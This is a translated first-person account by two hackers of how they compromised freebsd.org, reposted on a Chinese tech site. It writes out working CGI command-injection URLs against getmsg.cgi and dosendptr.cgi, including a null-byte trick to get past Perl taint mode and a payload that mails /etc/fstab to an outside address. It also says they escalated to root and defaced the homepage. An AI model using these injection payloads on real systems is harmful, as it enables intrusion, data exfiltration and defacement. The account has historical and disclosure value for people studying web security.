学导网 >> it000 >> 黑客技术
攻破freebsd.org的黑客的自述
www.xuedao.net  2007-7-31 14:58:00 互联网

    各位亲爱的安全界的朋友们,

    正如你们可能注意到的那样,Frank和我发现了freebsd.org上的一点小小的安全问题。我们发现一个CGI脚本程序dosendptr.cgi对其gndb参数没有进行正确的检查,所以我们可以通过构造一个精巧的字符串来获取想要的任何文件。

    这本来不是一个十分严重的问题,但是后来我们又发现另外一个CGI程序getmsg.cgi没有对其fetch参数进行正确的输入检查。而这个参数的输入变量被传递给open()系统调用。

    getmsg.cgi中的漏洞是相当严重的,它允许我们传递任意字符串(例如 ;/usr/bin/id| )给CGI程序并打开它。(译者注:如果在文件名后加上‘|’,open()函数就会去执行它,而不是打开)但是还有两个问题:

    1.输入需用空格分开;

    2.getmsg.cgi运行于taint模式;

    第一个限制容易克服,我们用TABS代替空格来分开输入命令。所以我们只需要提交下面这样的字符串就行:

    getmsg.cgi?fetch=one+two+;/bin/cat%09/etc/ftsab%09|mail%09nohican\@niets.org|+four

    但是这样还是不能成功,因为getmsg.cgi运行于perl的taint模式。(译者注:taint模式是PERL的一种内置安全检查模式,在perl文件开头使用-T参数就可以使程序运行于这种模式,即#!/usr/local/bin/perl -T。当程序以taint模式运行时,提交给程序的外部的变量不能对外部数据产生影响,即提交的参数不能用于eval(),system(),exec(),open()等函数中)

    还记得前边提到的第一个dosendptr.cgi的漏洞吗?我们可以使用dosendptr.cgi来间接的调用getmsg.cgi,这样就可以克服perl的taint模式检查。

    于是我们提交这样的字符串个服务器:

    http://www.freebsd.org/dosendptr.cgi?gngdb=./getmsg.cgi%00&fetch=one+two+/usr/local/www/db/text;/bin/cat%09/etc/fstab|+four

    这样就执行了cat /etc/fstab命令了。

    我们已经在freebsd.org上得到了nobody权限,并且我们很快地通过一个已知的/proc/pid/mem文件漏洞
得到了root权限。这个漏洞也是我们发现的,后面会介绍它。

    请注意,我们没有任何不良的意图,也没有试图通过修改日志来隐藏我们的发现。我们所做的仅仅是在
hup.freebsd.org上增加了一个额外的规则来重写URL。并且修改了http://www.freebsd.org上的index.html文件,给Kris留了一条信息,原始的index.html文件保存在相同的目录下。

    Kris,祝你在新工作中交好运,如果我们能帮忙的话,请告知我们。(译者注:Kris是freebsd.org的安全官员)

    Kind regards,
    Joost Pol aka Nohican
    Frank Van Vliet aka {}
翻译:isno

评论】 【关闭
相关新闻
Google提供广告